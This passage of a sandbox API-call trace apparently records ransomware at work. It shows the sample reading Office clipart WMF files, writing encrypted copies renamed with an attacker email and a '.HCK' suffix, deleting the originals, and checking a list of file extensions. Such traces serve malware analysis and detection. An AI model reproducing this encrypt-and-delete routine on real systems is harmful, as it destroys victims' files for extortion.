office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.975] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8252) returned 1 [0231.975] CloseHandle (hObject=0x4cc) returned 1 [0231.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0231.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.976] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.976] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.977] GetLastError () returned 0x0 [0231.977] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x203c, lpOverlapped=0x0) returned 1 [0231.978] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2040, lpOverlapped=0x0) returned 1 [0231.979] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.979] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.979] SetEndOfFile (hFile=0x4bc) returned 1 [0231.979] CloseHandle (hObject=0x4bc) returned 1 [0231.979] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.979] SetEndOfFile (hFile=0x4cc) returned 1 [0231.981] CloseHandle (hObject=0x4cc) returned 1 [0231.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".doc") returned 4 [0231.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".docx") returned 5 [0231.983] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.983] lstrlenW (lpString=".pdf") returned 4 [0231.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".xls") returned 4 [0231.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.983] lstrlenW (lpString=".xlsx") returned 5 [0231.983] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.983] lstrlenW (lpString=".ppt") returned 4 [0231.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".zip") returned 4 [0231.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.983] lstrlenW (lpString=".rar") returned 4 [0231.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".bz2") returned 4 [0231.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".7z") returned 3 [0231.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".dbf") returned 4 [0231.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".1cd") returned 4 [0231.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".jpg") returned 4 [0231.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".doc") returned 4 [0231.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".docx") returned 5 [0231.983] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.983] lstrlenW (lpString=".pdf") returned 4 [0231.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString=".xls") returned 4 [0231.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.983] lstrlenW (lpString=".xlsx") returned 5 [0231.983] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.983] lstrlenW (lpString=".ppt") returned 4 [0231.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.983] lstrlenW (lpString=".zip") returned 4 [0231.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.984] lstrlenW (lpString=".rar") returned 4 [0231.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.984] lstrlenW (lpString=".bz2") returned 4 [0231.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.984] lstrlenW (lpString=".7z") returned 3 [0231.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.984] lstrlenW (lpString=".dbf") returned 4 [0231.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.984] lstrlenW (lpString=".1cd") returned 4 [0231.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0231.984] lstrlenW (lpString=".jpg") returned 4 [0231.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.984] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.984] lstrlenW (lpString="J0105390.WMF") returned 12 [0231.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.984] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4944) returned 1 [0231.984] CloseHandle (hObject=0x4cc) returned 1 [0231.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0231.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.985] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.985] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.986] GetLastError () returned 0x0 [0231.986] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1350, lpOverlapped=0x0) returned 1 [0231.987] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1360, lpOverlapped=0x0) returned 1 [0231.988] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.988] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.988] SetEndOfFile (hFile=0x4bc) returned 1 [0231.988] CloseHandle (hObject=0x4bc) returned 1 [0231.988] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.988] SetEndOfFile (hFile=0x4cc) returned 1 [0231.990] CloseHandle (hObject=0x4cc) returned 1 [0231.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".doc") returned 4 [0231.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString=".docx") returned 5 [0231.991] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.991] lstrlenW (lpString=".pdf") returned 4 [0231.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString=".xls") returned 4 [0231.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.991] lstrlenW (lpString=".xlsx") returned 5 [0231.991] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.991] lstrlenW (lpString=".ppt") returned 4 [0231.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".zip") returned 4 [0231.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.991] lstrlenW (lpString=".rar") returned 4 [0231.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString=".bz2") returned 4 [0231.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString=".7z") returned 3 [0231.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".dbf") returned 4 [0231.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".1cd") returned 4 [0231.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".jpg") returned 4 [0231.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.991] lstrlenW (lpString=".doc") returned 4 [0231.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.991] lstrlenW (lpString=".docx") returned 5 [0231.991] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.991] lstrlenW (lpString=".pdf") returned 4 [0231.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString=".xls") returned 4 [0231.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.992] lstrlenW (lpString=".xlsx") returned 5 [0231.992] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.992] lstrlenW (lpString=".ppt") returned 4 [0231.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.992] lstrlenW (lpString=".zip") returned 4 [0231.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.992] lstrlenW (lpString=".rar") returned 4 [0231.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString=".bz2") returned 4 [0231.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString=".7z") returned 3 [0231.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.992] lstrlenW (lpString=".dbf") returned 4 [0231.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.992] lstrlenW (lpString=".1cd") returned 4 [0231.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0231.992] lstrlenW (lpString=".jpg") returned 4 [0231.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.992] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.992] lstrlenW (lpString="J0105396.WMF") returned 12 [0231.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.993] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11012) returned 1 [0231.993] CloseHandle (hObject=0x4cc) returned 1 [0231.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0231.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.197] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.197] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.198] GetLastError () returned 0x0 [0232.198] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2b04, lpOverlapped=0x0) returned 1 [0232.200] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0232.201] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.201] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.201] SetEndOfFile (hFile=0x4c0) returned 1 [0232.201] CloseHandle (hObject=0x4c0) returned 1 [0232.201] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.201] SetEndOfFile (hFile=0x4c4) returned 1 [0232.203] CloseHandle (hObject=0x4c4) returned 1 [0232.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".doc") returned 4 [0232.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".docx") returned 5 [0232.205] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.205] lstrlenW (lpString=".pdf") returned 4 [0232.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".xls") returned 4 [0232.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.205] lstrlenW (lpString=".xlsx") returned 5 [0232.205] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.205] lstrlenW (lpString=".ppt") returned 4 [0232.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".zip") returned 4 [0232.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.205] lstrlenW (lpString=".rar") returned 4 [0232.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".bz2") returned 4 [0232.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".7z") returned 3 [0232.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".dbf") returned 4 [0232.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".1cd") returned 4 [0232.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".jpg") returned 4 [0232.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.205] lstrlenW (lpString=".doc") returned 4 [0232.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".docx") returned 5 [0232.205] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.205] lstrlenW (lpString=".pdf") returned 4 [0232.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.205] lstrlenW (lpString=".xls") returned 4 [0232.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.206] lstrlenW (lpString=".xlsx") returned 5 [0232.206] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.206] lstrlenW (lpString=".ppt") returned 4 [0232.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.206] lstrlenW (lpString=".zip") returned 4 [0232.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.206] lstrlenW (lpString=".rar") returned 4 [0232.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.206] lstrlenW (lpString=".bz2") returned 4 [0232.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.206] lstrlenW (lpString=".7z") returned 3 [0232.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.206] lstrlenW (lpString=".dbf") returned 4 [0232.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.206] lstrlenW (lpString=".1cd") returned 4 [0232.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0232.206] lstrlenW (lpString=".jpg") returned 4 [0232.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.206] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.206] lstrlenW (lpString="J0105588.WMF") returned 12 [0232.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.207] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=21548) returned 1 [0232.207] CloseHandle (hObject=0x4c4) returned 1 [0232.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 